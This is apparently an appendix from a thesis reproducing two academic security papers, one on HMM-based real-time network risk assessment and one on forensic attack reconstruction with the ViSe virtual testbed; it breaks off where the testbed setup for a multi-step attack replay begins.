time risk assessment are scarce, and network monitoring systems and intrusion
detection systems (IDS) are the typical approaches. In this paper, we present a
real-time risk assessment method for large scale networks that build upon exist-
ing network monitoring and intrusion detection systems. An additional level of
abstraction is added to the network monitoring process, focusing on risk rather
than individual warnings and alerts. The method enables the assessment of risk
both on a system-wide level, as well as for individual objects.
The main benefit of our approach is the ability to aggregate data from dif-
ferent sensors with different weighting according to the trustworthiness of the
sensors. This focus on an aggregate risk level is deemed more suitable for network
management and automated response than individual intrusion detection alerts.
By using hidden Markov models (HMM), we can find the most likely state prob-
ability distribution of monitored objects, considering the trustworthiness of the
IDS. We do not make any assumptions on the types of sensors used in our mon-
itoring architecture, other than that they are capable of providing standardized
output as required by the model parameters presented in this paper.
? The “Centre for Quantifiable Quality of Service in Communication Systems, Centre
of Excellence” is appointed by The Research Council of Norway, and funded by the
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1.1 Target Network Architecture
The target of the risk assessment described in this paper is a generic network
consisting of computers, network components, services, users, etc. The network
can be arbitrarily complex, with wireless ad-hoc devices as well as ubiquitous
services. The network consists of entities that are either subjects or objects.
Subjects are capable of performing actions on the objects. A subject can be
either users or programs, whereas objects are the targets of the risk assessment.
An asset may be considered an object. The unknown factors in such a network
may represent vulnerabilities that can be exploited by a malicious attacker or
computer program and result in unwanted incidents. The potential exploitation
of a vulnerability is described as threats to assets. The risk of a system can be
identified through the evaluation of the probability and consequence of unwanted
incidents.
1.2 Monitoring and Assessment Architecture
We assume a multiagent system architecture consisting of agents that observe
objects in a network using sensors. The architecture of a multiagent risk assess-
ment system per se is not the focus of this paper, but a description is included
as a context.
An agent is a computer program capable of a certain degree of autonomous
actions. In a multiagent system, agents are capable of communicating and coop-
erating with other agents. In this paper, an agent is responsible for collecting and
aggregating sensor data from a set of sensors that monitor a set of objects. The
main task of the agent is to perform real-time risk assessment based on these
data. A multiagent architecture has been chosen for its flexibility and scalability,
and in order to support distributed automated response.
A sensor can be any information-gathering program or device, including net-
work sniffers (using sampling or filtering), different types of intrusion detection
systems (IDS), logging systems, virus detectors, honeypots, etc. The main task
of the sensors is to gather information regarding the security state of objects.
The assumed monitoring architecture is hybrid in the sense that it supports any
type of sensor. However, it is assumed that the sensors are able to classify and
send standardized observations according to the risk assessment model described
in this paper.
1.3 Related Work
Risk assessment has traditionally been a manual analysis process based on a
standardized framework, such as [1]. A notable example of real-time risk as-
sessment is presented in [2], which introduces a formal model for the real time
characterization of risk faced by a host. Distributed intrusion detection systems
have been demonstrated in several prototypes and research papers, such as [3, 4].
Multiagent systems for intrusion detection, as proposed in [5] and demonstrated
in e.g. [6] (an IDS prototype based on lightweight mobile agents) are of particu-
lar relevance for this paper. An important development in distributed intrusion
detection is the recent IDMEF (Intrusion Detection Message Exchange Format)
IETF Internet draft [7]. Hidden Markov models have recently been used in IDS
architectures to detect multi-stage attacks [8], and as a tool to detect misuse
based on operating system calls [9]. Intrusion tolerance is a recent research field
in information security related to the field of fault tolerance in networks. The
research project SITAR [10] presents a generic state transition model, similar
to the model used in this paper, to describe the dynamics of intrusion toler-
ant systems. Probabilistic validation of intrusion tolerant systems is presented
in [11].
2 Risk Assessment Model
In order to be able to perform dynamic risk assessment of a system, we formalize
the distributed network sensor architecture described in the previous section. Let
O = {o1, o2, . . .} be the set of objects that are monitored by an agent. This set
of objects represents the part of the network that the agent is responsible for. To
describe the security state of each object, we use discrete-time Markov chains.
Assume that each object consisting of N states, denoted S = {s1, s2, . . . , sN}.
As the security state of an object changes over time, it will move between
the states in S. The sequence of states that an object visits is denoted X =
x1, x2, . . . , xT , where xt ∈ S is the state visited at time t. For the purpose
of this paper, we assume that the state space can be represented by a general
model consisting of three states: Good (G), Attacked (A) and Compromised (C),
i.e. S = {G,A,C}. State G means that the object is up and running securely
and that it is not subject to any kind of attack actions. In contrast to [10], we
assume that objects always are vulnerable to attacks, even in state G. As an
attack against an object is initiated, it will move to security state A. An object
in state A is subject to an ongoing attack, possibly affecting its behavior with
regard to security. Finally, an object enters state C if it has been successfully
compromised by an attacker. An object in state C is assumed to be completely
at the mercy of an attacker and subject to any kind of confidentiality, integrity
and/or availability breaches.
The security observations are provided by the sensors that monitor the ob-
jects. These observation messages are processed by agents, and it is assumed that
the messages are received or collected at discrete time intervals. An observation
message can consist of any of the symbols V = {v1, v2, . . . , vM}. These sym-
bols may be used to represent different types of alarms, suspect traffic patterns,
entries in log data files, input from network administrators, and so on. The se-
quence of observed messages that an agent receives is denoted Y = y1, y2, . . . , yT ,
where yt ∈ V is the observation message received at time t. Based on the se-
quence of observation messages, the agent performs dynamic risk assessment.
The agent will often receive observation messages from more than one sensor,
and these sensors may provide different types of data, or even inconsistent data.
All sensors will not be able to register all kinds of attacks, so we cannot assume
that an agent is able to resolve the correct state of the monitored objects at
all times. The observation symbols are therefore probabilistic functions of the
object’s Markov chain, the object’s true security state will be hidden from the
agent. This is consistent with the basic idea of HMM [12].
2.1 Modeling Objects as Hidden Markov Models
Each monitored object can be represented by a HMM, defined by λ = {P,Q, pi}.
P = {pij} is the state transition probability distribution matrix for object
o, where pij = P (xt+1 = sj |xt = si), 1 ≤ i, j ≤ N . Hence, pij represents the
probability that object o will transfer into state sj next, given that its current
state is si. To be able to estimate P for real-life objects, one may use either
statistical attack data from production or experimental systems or the subjective
opinion of experts. Learning algorithms may be employed in order to provide a
better estimate of P over time.
Q = {qj(l)} is the observation symbol probability distribution matrix for
object o in state sj , whose elements are qj(l) = P (yt = vl|xt = sj), 1 ≤ j ≤
N, 1 ≤ l ≤ M . In our model, the element qj(l) in Q represents the probability
that a sensor will send the observation symbol vl at time t, given that the object
is in state sj at time t. Q therefore indicates the sensor’s false-positive and
false-negative effect on the agents risk assessments.
pi = {pii} is the initial state distribution for the object. Hence, pii = P (x1 =
si) is the probability that si was the initial state of the object.
2.2 Quantitative Risk Assessment
Following the terminology in [1], risk is measured in terms of consequences and
likelihood. A consequence is the (qualitative or quantitative) outcome of an event
and the likelihood is a description of the probability of the event. To perform
dynamic risk assessment, we need a mapping: C : S → R, describing the expected
cost (due to loss of confidentiality, integrity and availability) for each object. The
total risk Rt for an object at time t is
Rt =
N∑
i=1
Rt(i) =
N∑
i=1
γt(i)C(i) (1)
where γt(i) is the probability that the object is in security state si at time t,
and C(i) is the cost value associated with state si.
In order to perform real-time risk assessment for an object, an agent has
to dynamically update the object’s state probability γt = {γt(i)}. Given an
observation yt, and the HMM λ, the agent can update the state probability γt
of an object using Algorithm 1. The complexity of the algorithm is O(N2). For
further details, see the Appendix.
Algorithm 1 Update state probability distribution
IN: yt, λ {the observation at time t, the hidden Markov model}
OUT: γt {the security state probability at time t}
if t = 1 then
for i = 1 to N do
α1(i)← qi(y1)pii
γ1(i)← qi(y1)piiPN
j=1 qj(y1)pij
end for
else
for i = 1 to N do
αt(i)← qi(yt)PNj=1 αt−1(j)pji
γt(i) =
αt(i)PN
j=1 αt(j)
end for
end if
return γt
3 Case – Real-time Risk Assessment for a Home Office
To illustrate the theory, we perform real-time risk assessment of a typical home
office network, consisting of an Internet router/WLAN access point, a stationary
computer with disk and printer sharing, a laptop using WLAN, and a cell phone
connected to the laptop using Bluetooth. Each of the objects (hosts) in the home
office network has a sensor that processes log files and checks system integrity (a
host IDS). In addition, the access point has a network monitoring sensor that is
capable of monitoring traffic between the outside network and the internal hosts
(a network IDS).
For all objects, we use the state set S = {G,A,C}. The sensors provide
observations in a standardized message format, such as IDMEF, and they are
capable of classifying observations as indications of the object state. Each sensor
is equipped with a database of signatures of potential attacks. For the purpose
of this example, each signature is associated with a particular state in S. We
define the observation symbols set as V = {g, a, c}, where the symbol g is an
indication of state G and so forth. Note that we have to preserve the discrete-
time property of the HMM by sampling sensor data periodically. If there are
multiple observations during a period, we sample one at random. If there are no
observations, we assume the observation symbol to be g. In order to use multiple
sensors for a single object, a round-robin sampling is used to process only one
observation for each period. This is demonstrated in example 3.
The home network is monitored by an agent that regularly receives observa-
tion symbols from the sensors. For each new symbol, the agent uses Algorithm
1 to update the objects’ security state probability, and (1) to compute its cor-
responding risk value. Estimating the matrices P and Q, as well as the cost C
associated with the different states, for the objects in this network is a non-trivial
task that is out of scope for this paper.
The parameter values in these examples are therefore chosen for illustration
purposes only. Also, we only demonstrate how to perform dynamic risk assess-
ment of the laptop.
3.1 Example 1: Laptop Risk Assessment by HIDS Observations
First, we assess the risk of the laptop, based on an observation sequence YHIDS−L,
containing 20 samples collected from the laptop HIDS. We use the HMM λL =
{PL,QHIDS−L, piL}, where
PL =
pGG pGA pGCpAG pAA pAC
pCG pCA pCC
 =
0.995 0.004 0.0010.060 0.900 0.040
0.008 0.002 0.990
 , (2)
QHIDS−L =
qG(g) qG(a) qG(c)qA(g) qA(a) qA(c)
qC(g) qC(a) qC(c)
 =
0.70 0.15 0.150.15 0.70 0.15
0.20 0.20 0.60
 , (3)
piL = (piG, piA, piC) = (0.8, 0.1, 0.1). (4)
Since the HIDS is assumed to have low false-positive and false-negative rates,
both qG(a), qG(c), qA(c) ¿ 1 and qA(g), qC(g), qC(a) ¿ 1 in QHIDS−L. The
dynamic risk in Figure 1(a) is computed based on the observation sequence Y
(as shown on the x-axis of the figure) and a security state cost estimate measured
as CL = (0, 5, 10).
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Fig. 1. Laptop risk assessment
3.2 Example 2: Laptop Risk Assessment by NIDS Observations
Now, we let the risk assessment process of the laptop be based on another obser-
vation sequence, YNIDS−L, collected from the NIDS. A new observation symbol
probability distribution is created for the NIDS
QNIDS−L =
0.5 0.3 0.20.2 0.6 0.2
0.2 0.2 0.6
 . (5)
One can see that the NIDS has higher false-positive and false-negative rates,
compared to the HIDS. Figure 1(b) shows the laptop risk when using the HMM
λL = {PL,QNIDS−L, piL}. Note that the observation sequence is not identical
to the one in example 1, as the two sensors are not necessarily consistent.
3.3 Example 3: Aggregating HIDS and NIDS Observations
The agent now aggregates the observations from the HIDS and NIDS sensors by
sampling from the observation sequences YHIDS−L and YNIDS−L in a round-
robin fashion. To update the current state probability γt, the agent therefore
chooses the observation symbol probability distribution corresponding to the
sampled sensor, i.e the HMM will be
λL = {PL,Q∗, piL},where Q∗ =
{
QHIDS−L if yt ∈ YHIDS
QNIDS−L if yt ∈ YNIDS
. (6)
The calculated risk is illustrated in Figure 2. The graph shows that some prop-
erties of the individual observation sequences are retained.
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Fig. 2. Laptop risk assessment based on two sensors (HIDS and NIDS)
4 Managing Risk with Automated Response
In order to achieve effective incident response, it must be possible to effectively
initiate defensive measures, for example by reconfiguring the security services
and mechanisms in order to mitigate risk. Such measures may be manual or
automatic. An information system or network can be automatically reconfigured
in order to reduce an identified risk, or the system can act as a support system
for system and network administrators by providing relevant information and
recommending specific actions. To facilitate such an approach, it is necessary to
provide a mechanism that relates a detected security incidence to an appropriate
response, based on the underlying risk model. Such a mechanism should include
a policy for what reactions should be taken in the case of a particular incident,
as well as information on who has the authority to initiate or authorize the
response. Examples of distributed intrusion detection and response systems have
been published in [13, 14].
The dynamic risk-assessment method described in this paper can provide a
basis for automated response. If the risk reaches a certain level, an agent may
initiate an automated response in order to control the risk level. Such a response
may be performed both for individual objects (e.g. a compromised host) or on a
network-wide level (if the network risk level is to high). Examples of a local re-
sponse may be firewall reconfigurations for a host, changing logging granularity,
or shutting down a system. Examples of a global response may be the revocation
of a user certificate, the reconfiguration of central access control configurations,
or firewall reconfigurations. Other examples include traffic rerouting or manipu-
lation, and honeypot technologies. Note that such adaptive measures has to be
supervised by human intelligence, as they necessarily introduce a risk in their
own right. A firewall reconfiguration mechanism can, for example, be exploited
as part of a denial-of-service attack.
5 Conclusion
We present a real-time risk-assessment method using HMM. The method pro-
vides a mechanism for aggregating data from multiple sensors, with different
weightings according to sensor trustworthiness. The proposed discrete-time model
relies on periodic messages from sensors, which implies the use of sampling of
alert data. For the purpose of real-life applications, we propose further develop-
ment using continuous-time models in order to be able to handle highly variable
alert rates from multiple sensors. We also give an indication as to how this
work can be extended into a multiagent system with automated response, where
agents are responsible for assessing and responding to the risk for a number of
objects.
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Appendix: On Algorithm 1
Given the first observation y1 and the hidden Markov model λ, the initial state
distribution γ1(i) can be calculated as
γ1(i) = P (x1 = si|y1, λ) = P (y1, x1 = si|λ)
P (y1|λ) =
P (y1|x1 = si, λ)P (x1 = si|λ)
P (y1|λ) . (7)
To find the denominator, one can condition on the first visited state and sum
over all possible states
P (y1|λ) =
NX
j=1
P (y1|x1 = sj , λ)P (x1 = sj |λ) =
NX
j=1
qj(y1)pij . (8)
Hence, by combining (7) and (8)
γ1(i) =
qi(y1)piiPN
j=1 qj(y1)pij
, (9)
where qj(y1) is the probability of observing symbol y1 in state sj , and pi is the
initial state probability. To simplify the calculation of the state distribution after
t observations we use the forward-variable αt(i) = P (y1y2 · · · yt, xt = si|λ), as
defined in [12]. By using recursion, this variable can be calculated in an efficient
way as
αt(i) = qi(yt)
NX
j=1
αt−1(j)pji, t > 1. (10)
From (7) and (9) we find the initial forward variable
α1(i) = qi(y1)pii, t = 1. (11)
In the derivation of αt(i) we assumed that yt only depend on xt and that the
Markov property holds.
Now we can use the forward variable αt(i) to update the state probability
distribution by new observations. This is done by
γt(i) = P (xt = si|y1y2 · · · yt, λ) = P (y1y2 · · · yt, xt = si|λ)
P (y1y2 · · · yt|λ)
=
P (y1y2 · · · yt, xt = si|λ)PN
j=1 P (y1y2 · · · yt, xt = sj |λ)
=
αt(i)PN
j=1 αt(j)
.
(12)
Note that (12) is similar to Eq. 27 in [12], with the exception that we do not
account for observations that occur after t, as our main interest is to calculate
the object’s state distribution after a number of observations.
Appendix K
DIMVA 2006 Paper
This appendix contains a copy of the paper “Digital Forensic Reconstruction and
the Virtual Security Testbed ViSe” by Andre´ A˚rnes, Paul Haas, Giovanni Vigna,
and Richard A. Kemmerer [A7]. The paper was presented at Conference on Detec-
tion of Intrusions and Malware and Vulnerability Assessment (DIMVA) in Berlin,
Germany, 2006, and it was printed in Springer LNCS 4064.
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Abstract. This paper presents ViSe, a virtual security testbed, and
demonstrates how it can be used to efficiently study computer attacks
and suspect tools as part of a computer crime reconstruction. Based on
a hypothesis of the security incident in question, ViSe is configured with
the appropriate operating systems, services, and exploits. Attacks are
formulated as event chains and replayed on the testbed. The effects of
each event are analyzed in order to support or refute the hypothesis. The
purpose of the approach is to facilitate forensic testing of a digital crime
using minimal resources. Although a reconstruction can neither prove a
hypothesis with absolute certainty, nor exclude the correctness of other
hypotheses, a standardized environment, such as ViSe, combined with
event reconstruction and testing, can lend credibility to an investigation
and can be a great asset in court.
1 Introduction
Digital forensics is gaining importance with the increase of cybercrime and fraud
on the Internet. Tools and methodologies for digital forensics with the sound-
ness necessary for presentation in court are in high demand. In this paper, we
describe the use of the Virtual Security Testbed (ViSe) [1] as a tool in digital
forensic reconstruction. We present a testbed and methodology for testing com-
puter attack tools, as a digital analogy to testing evidence dynamics in physical
forensics. The basic idea is to provide an infrastructure where specific attacks
can be studied in a way similar to testing the ballistics of a firearm in order to
establish its properties. The goal of this approach is to be able to perform test-
ing in a forensically sound manner such that the test results may be presented
in court, supporting or refuting a hypothesis regarding a particular sequence of
events.
The traditional focus in digital forensics has been on identification, acquisi-
tion, and analysis of evidence, using toolkits such as EnCase [2], ILook [3], and
Sleuthkit [4]. These toolkits support operations like the recovery of deleted files,
string searches and searches for known files. Recently, there has been an increas-
ing interest in evidence dynamics and crime scene reconstruction. Crime scene
reconstruction3 is a fairly new development in forensic science, as discussed in [5,
6]. The purpose of the method is to determine the most probable sequence of
events by applying the scientific method to interpret the events that surround
the commission of a crime [6]. The analysis may involve the use of logical [6] and
statistical [7] reasoning.
Carrier and Spafford have proposed an “event-based digital forensic investi-
gation framework” [8] and a method for “event reconstruction of digital crime
scenes” [9]. They propose a process in five steps: evidence examination, role
classification, event construction and testing, event sequencing, and hypothesis
testing. In this paper, we discuss a way to test events in a forensically sound man-
ner using an isolated virtual environment (ViSe). A hypothesis is made based
on available digital evidence and then tested in the ViSe virtual testbed. The
hypothesized attack is replayed, and an analysis of all available data (storage
media and volatile memory of all involved hosts, as well as network traffic) may
support or refute the hypothesis. In this way, we show how replaying events in a
virtual environment can help identify the causes, effects, and internal workings of
simple or multi-step attacks. Using Carrier and Spafford’s model, this approach
may be seen as part of the “event construction and testing”.
Central to the discussion is the trade-off between the desired detail of the
reconstruction and the difficulty of performing the reconstruction itself. The
approach taken in this paper is to study the most significant aspects of a digital
crime or a suspect tool using minimal resources in terms of time and equipment.
Other approaches, such as physical testbeds or simulations, may be more useful
in some cases, as discussed in Section 6.
This paper is organized as follows. Section 2 presents the terminology and
methodology used in this paper, and some related work is discussed in Section 3.
Section 4 provides a detailed description of the security testbed ViSe, as well as
a discussion of the use of virtualization in security and forensic testing. Section 5
provides an example involving a multi-step attack, demonstrating how ViSe can
be applied to digital forensic reconstruction testing. Some considerations of the
approach are discussed in Section 6, and the paper is concluded in Section 7.
2 Terminology and Methodology
The digital crime scene can consist of a number of computing and storage de-
vices, as well as the network connecting them. We specifically consider that the
digital crime scene consists of a number of computer systems, divided into three
categories: namely attack hosts, victim hosts, and third-party hosts. The third-
party hosts may, for instance, include network or security services that perform
logging, or other service providers such as certification authorities. All evidence
is analyzed on analysis hosts, which are not part of the digital crime scene.
3 Note that a crime reenactment is unrelated to a crime scene reconstruction.
Digital evidence is any digital data that contains reliable information that
supports or refutes a hypothesis about an incident. Digital evidence may be
found on the hard drives or in the volatile memory of all the involved hosts,
as well as in captured network traffic, referred to as network dumps. A variant
of the network dump is preprocessed network traffic, such as network intrusion
detection system alert logs. All analysis is assumed to be performed on copies
of the evidence in order to preserve its integrity.
An event e is an occurrence that changes the state of a computing system.
A crime or incident is an event that violates policy or law. An event chain E =
e1, . . . , en is a sequence of events with a causal relationship. The latter definitions
are adopted from [8, 9]. Evidence dynamics is described in [5] to be “any influence
that changes, relocates, obscures, or obliterates physical evidence, regardless of
intent”. A central issue in evidence dynamics is to identify the causes and effects
of events. The evidence dynamics of different digital media varies. A file can
be modified or deleted, and timestamps can be updated. Unallocated data on
a disk can be overwritten, and volatile memory can be overwritten or moved
to pagefiles. Data transmitted on a network may leave traces in log files and
monitoring systems.
Our approach to event construction and testing starts with a hypothesis H0
stating that one or more tools have been run as part of an attack. The corre-
sponding event chain is then replayed on the testbed. Following execution, the
virtual environment is analyzed to find the effects of the events. These effects
are in turn compared to the actual digital evidence. The purpose is to replay the
suspected attacks in a controlled environment in order to study the causes and
effects of the events involved in the attack. This allows us to replay the attack in
a forensically sound manner without compromising the integrity of the original
evidence or relying on files that have been compromised by the attacker.
As noted above, a multi-step attack can be studied as a series of intercon-
nected events, where the effects of an event are the causes of the subsequent
event. Although the digital forensic reconstruction framework separates causes
and effects, differentiating between these may be difficult in practice, as it may
require exhaustive testing. Using the terminology above, we therefore assume
that event ek+1 is the transition between state sk and sk+1. sk and sk+1 contain
the causes and effects of ek+1 respectively.
In some cases, there may be several theories about the chain of events leading
to the digital evidence found in a digital crime scene. In this case, each hypoth-
esis is formulated and tested separately. Based on the competing hypotheses
H0,H1, . . . ,Hm, the tests may share one or more initial events. In this case, the
shared events need only be replayed once.
The methodology for testing in forensic reconstruction used in this paper can
be expressed as a five step process:
1. Configure testbed with appropriate software according to a hypothesis.
2. Replay attack according to the hypothesis and save snapshots for each state.
3. Acquire and verify images of all snapshots.
4. Perform analysis through the comparison of states.
5. Compare images to digital evidence to support or refute the hypothesis.
The process can be reiterated for alternative hypotheses.
3 Related Work
Formal frameworks for the reconstruction of digital crime scenes are discussed
by Stephenson [10] and Gladyshev and Patel [11]. Stephenson uses a Petri Net
approach to model worm attacks in order to identify the root cause of an at-
tack. Gladyshev and Patel present a state machine approach to model digital
events. Their approach uses a generic event reconstruction algorithm and a for-
mal methodology for reconstructing events in digital systems. In contrast, our
approach sets up a virtual digital crime scene in order to replay the digital
events in a realistic fashion. Therefore, our approach is complimentary to those
of Stephenson, Gladyshev, and Patel.
Virtualization is frequently used in security research, primarily because of the
flexibility and the small resource requirements. As an example, [12] discusses the
use of VMware and the forensic tool SMART for recreating a suspect’s computer.
Our approach takes this idea further by emulating the entire digital crime scene
as part of a digital event reconstruction. Virtualization is also frequently used by
the the honeypot community. Low-interaction honeypots, such as Honeyd [13],
often have built-in virtualization of services, whereas high-interaction honeypots,
such as honeynets [14], are often deployed using full operating system virtual-
ization. See also [15] for a discussion of the advantages and disadvantages of
VMware in the context of honeypots.
Recent security testbeds include LARIAT [16], LLSIM [17], Netbed [18], De-
ter [19], and vGrounds [20]. LARIAT is the first simulated platform for testing
intrusion detections systems, and LLSIM is its virtualized descendant. Netbed
is a simulation environment that served as the predecessor to Deter, a clus-
ter testbed. vGrounds is a virtual environment based on UML (User Mode
Linux) [21]. These testbeds provide large-scale simulation at the cost of the ac-
curacy and the number of operating systems and services supported. Section 6.3
discusses cases where this approach may be useful. ViSe supports more exact
system and network interaction on a wider range of operating systems. ViSe
images are provided in a large library of pre-configured attacks and vulnerable
services on common operating systems. ViSe also includes an IDS system to
identify the manifestations of an attack.
4 Virtualization and the ViSe Testbed
In this section, we review the criteria for a forensic testbed and discuss the
advantages of virtualization in digital forensic testing. We give an overview of
VMware and the ViSe4 [1] testbed and consider integrity issues using ViSe as a
4 http://www.cs.ucsb.edu/∼rsg/ViSe/
virtualization platform. We also discuss the digital forensic image created to aid
the digital forensic testing. The use of ViSe is further demonstrated through a
specific example in Section 5.
4.1 Virtualization
The main criteria for choosing a testbed are resource demands, availability and
usability, flexibility and efficiency, forensic soundness, and similarity to the dig-
ital crime scene [22]. While physical testbeds can most accurately represent a
digital crime scene, there is significant overhead required for the setup, config-
uration, and re-installation of the involved systems. Each hypothesis requires a
separate machine, and different hardware must be obtained to provide complete
coverage of the systems involved in an attack. Furthermore, the impractical-
ity of restoring a system to a previous state to test an alternative but similar
hypothesis is obvious.
Fig. 1. Illustration of a Virtual Environment.
Virtualization addresses these problems with negligible overhead. A single
computer can represent the entire digital crime scene, emulating different oper-
ating systems, configurations, and services as necessary. For example, Figure 1
represents a single physical Fedora Core 4 machine using VMware to emulate
a virtual network and three virtual operating systems running Fedora Core 3.
Virtualization environments are also more portable and reusable. They can be
shared between multiple hosts, and once a configuration is made, it can be re-
stored later in an investigation or reused in other investigations.
VMware 5.0 [23] was chosen as the emulation environment for ViSe [1], be-
cause it contains several advantages over other emulation environments such as
Xen [24], Microsoft Virtual PC [25], and UML [21]. VMware is able to emulate
both Linux and Windows platforms, as well as any other x86 operating system.
Xen and UML are limited to selected ports or currently available operating sys-
tems. Neither Xen nor UML could emulate Windows platforms at the time of
ViSe’s creation. VMware and Microsoft Virtual PC are similar in scope and ap-
plication. However, Virtual PC runs on Windows and Apple Macintosh systems,
while VMware runs on Windows and Linux systems. VMware was chosen over
Virtual PC because development in Linux provided the most ideal environment
for developing and testing malicious attacks.
4.2 The ViSe Testbed
The ViSe testbed was developed at UCSB to test attacks on various vulnera-
ble operating systems and to test intrusion detection systems. ViSe originally
contained 10 operating systems and a total of 40 exploits against the programs
running on them. The operating systems included are Windows 2000, 2003, XP,
Red Hat 6.2, 7.2, SuSE 9.2, Debian 3.0, Fedora Core 3, FreeBSD 4.5, and 5.4. The
exploits, as detailed in Table 1-4 of [1], are both local and remote attacks. ViSe
was recently extended with an additional 30 remote attacks from the OWASP’s
top ten web application vulnerabilities framework [26], targeting 10 web appli-
cations running on both Windows and Linux platforms.
One reason for choosing VMware to implement ViSe is that the snapshot
and cloning features of VMware allow new images to be derived from old ones.
When using the snapshot feature, new snapshots are created incrementally, i.e.,
only changes are stored in the new snapshot file. The current ViSe tree requires
80 GB for 70 separate system configurations derived from the 10 base operating
system images. This is achieved by using the snapshot feature to create new
configurations of a system, which, in turn, provides a tremendous space savings
as compared to requiring a full install for each configuration.
The snapshot feature allows for the creation of a tree of successive changes
derived from a base system. Each tree represents a host involved in an attack,
such as attacker, victim, and IDS systems. New ViSe images are added to a tree
by making a snapshot with the desired modifications based on a previous snap-
shot or root image. Multiple systems derived from the same tree can, however,
not be run simultaneously. For this purpose, it is necessary to use the full cloning
feature in VMware to create a full image, using the space requirements of both
the new files and the old configuration. The advantage of the cloning feature is
that cloned images can be run and distributed independently of the ViSe tree,
allowing the image and events in that image to be replicated by relevant parties.
When an attack is replayed, the attacker, detector, and vulnerable images are
booted, and the attack is run as prescribed in its accompanying documentation.
If the attack damages the configuration of a particular image, that image only
needs to be restored and rebooted to recover from the damage. Also, snapshots of
the images can be created and then restored, providing instantaneous recovery.
This method results in both a significant time decrease and a decrease in storage
requirements compared to using physical systems to replay an attack.
4.3 Integrity Issues
There are a number of integrity issues to be considered related to using VMware
as the virtualization platform for ViSe. The first issue concerns data contami-
nation between the host and guest operating systems. We have not been able
to demonstrate such an issue on a Fedora Core 3 system, but as a precaution-
ary measure, images should be isolated from each other by cloning each image
on a separate sanitized partition. Each new cloned image becomes a new ViSe
image root, which is used to create new snapshots over empty memory. This
approach guarantees that there is no data contamination between the host and
the guest operating systems nor between the different guest systems. Note that
ViSe was initially designed to be simple with minimal space requirements, and
the integrity of the images was not a primary consideration. As a result, the first
ViSe images were created on un-sanitized host partitions.
It should be noted that VMware image files are proprietary, and thus they
are not identical copies of system disks or partitions. In this paper, we are only
concerned with the file systems contained in the VMware image files, and not
with the VMware-files themselves. We perform the testing in VMware, and the
forensic acquisition in preparation for analysis is either performed in VMware or
by using the vmware-mount.pl tool for mounting VMware images. The integrity
of the disk images can be verified using one-way hash functions such as MD5,
SHA-1 or SHA256, which provide the necessary integrity for our purposes5.
Another integrity issue that should be considered is the virtual network used
to connect the images. VMware allows several different types of network con-
nectivity options: bridged to a physical device, a NAT to the host’s IP address,
virtual image to host-only, and custom [23]. Only bridged networking connects
the virtual network to the physical network. This allows transparent connections
between virtual and physical hosts. As the extent of all attacks was known and
documented during the creation of ViSe, images were created using static IP
addresses in the subnet of their host system. In general, however, the testbed
host operating system should be disconnected from any external networks. If
the guest operating system is able to reach external networks, the test may be
compromised, and malicious code could spread from the testbed.
The third integrity issue is the “shared folders” feature of VMware. This
feature is used to allow file transfers between the host and guest systems [23].
During ViSe’s construction, it was enabled to simplify the transfer of files and
data. During forensic reconstruction, it should be disabled to prevent cross-
contamination between the host and guest system. During analysis, it can be
re-enabled to facilitate external analysis and to review the results outside of
ViSe (see Section 4.4).
The last integrity issue involves the similarity of attacks in the virtual testbed
to physical machines. Sophisticated attacks could detect and respond to the pres-
ence of VMware and other forensic tools [29], for example by breaking out of
VMware and accessing the host system [30]. Similar to this are anti-forensic
5 Recent research has uncovered weaknesses in MD5 and SHA-1 [27, 28].
attacks, which purposely attempt to thwart forensic investigations [31], for ex-
ample by generating excess or confusing signatures in order to make event re-
construction difficult. Attacks such as these are uncommon and require special
consideration. They are not considered in this paper.
4.4 The Virtual Forensic Analysis Image
In order to be able to handle the test images in a forensically sound manner,
a forensic analysis system has been added to ViSe. The main purpose of this
system is to acquire copies of hard drive images from the test systems (using
dcfldd6), as well as to provide a verification of the integrity of the copies (using
tools such as md5sum and sha256sum).
The forensic analysis system is built on Fedora Core 3, and it is installed as
a new root in the ViSe tree to avoid any conflicts with the test images. Such a
conflict could, for example, occur if the LVM (Logical Volume Manager) is used.
LVM requires that the id of the underlying physical volumes be unique when the
volumes are mounted. Unfortunately, VMware’s cloning and snapshot features
retain the LVM id of the root image. Thus, if the forensic analysis image was
added to a ViSe tree, it could not mount any other images of that same tree,
because the LVM id would already be present.
In order to avoid contamination between the external network and the foren-
sic analysis system, the virtual forensic analysis system is configured without a
virtual network interface. As an additional precaution, the host operating system
can be physically disconnected from the network during the analysis.
A virtual disk can be analyzed in VMware by adding it as a disk to the
forensic analysis system. This disk should be provided as an independent and
non-persistent disk, in order to prevent any changes to the image. VMware re-
quires write access to its virtual disk images. Therefore, to assure that the file
systems of those images are not changed, the forensic analyst has to mount them
in read-only mode.
It must be noted that it is not possible in VMware to take a snapshot of a
system with an independent disk, mount an independent disk in a snapshot, or
mount several instances of different snapshots based on the same base image.
The image acquisition either has to be performed sequentially (by rebooting the
virtual analysis host for each disk image to be analyzed) or by creating a full
disk clone for each snapshot. By using the latter method, several disks can be
mounted at once.
The images to be analyzed are copied to a “shared folder” directory using
dcfldd. After all the images have been acquired, the forensic analysis can be
performed outside ViSe. The primary reason for this is that there is a significant
performance penalty in performing the analysis in a virtual environment (see
Section 6.3). In this way, the results are also available for external analysis and
review.
6 dcfldd is a forensic version of the GNU tool dd, commonly used for copying disks
and partitions.
5 Example – a Multi-step Attack
In this section we demonstrate the use of the ViSe testbed for testing a multi-
step attack. The attacks are chosen from the database of attacks available in the
ViSe testbed. As part of a criminal investigation, it is necessary to determine the
chain of events in a forensically sound manner. Based on the available evidence
in the digital crime scene, a digital forensic reconstruction is initiated and an
initial hypothesis is stated:
An attack host running Fedora Core 3 has launched and completed a multi-
step attack against the victim host running Fedora Core 3. The multi-step attack
consists of an Nmap scan, an exploit of the phpBB 2.0.10 viewtopic.php vulner-
ability, an installation of bindshell on port 12497 named httpd, an exploit of a
vulnerable iwconfig buffer overflow vulnerability, the creation of a non-root user
and root backdoor, and finally the removal of traces.
In order to support or refute this hypothesis, we wish to perform an isolated
test of the multi-step attack. Virtual systems similar to the ones in the hypothesis
are set up in ViSe, and the multi-step attack is replayed as described below.
When the test is finished, the analyst can compare the effects of the attack
in the virtual environment to the digital evidence in the digital crime scene.
If the identified effects do not support the hypothesis, the hypothesis should
be reformulated, and the necessary test events should be replayed. It may be
necessary to include events that are not directly related to the attack in the
test, such as intentional evidence manipulation (such as file modifications or
deletions ) and regular user or system activities (such as rebooting and disk
defragmentation).
Note that the analyst does not need access to all the hosts involved in the
digital crime scene. The results of the test can be compared to any available evi-
dence. However, the certainty of the results is reduced when the digital evidence
is incomplete.
5.1 Configuring ViSe for Replaying the Attack
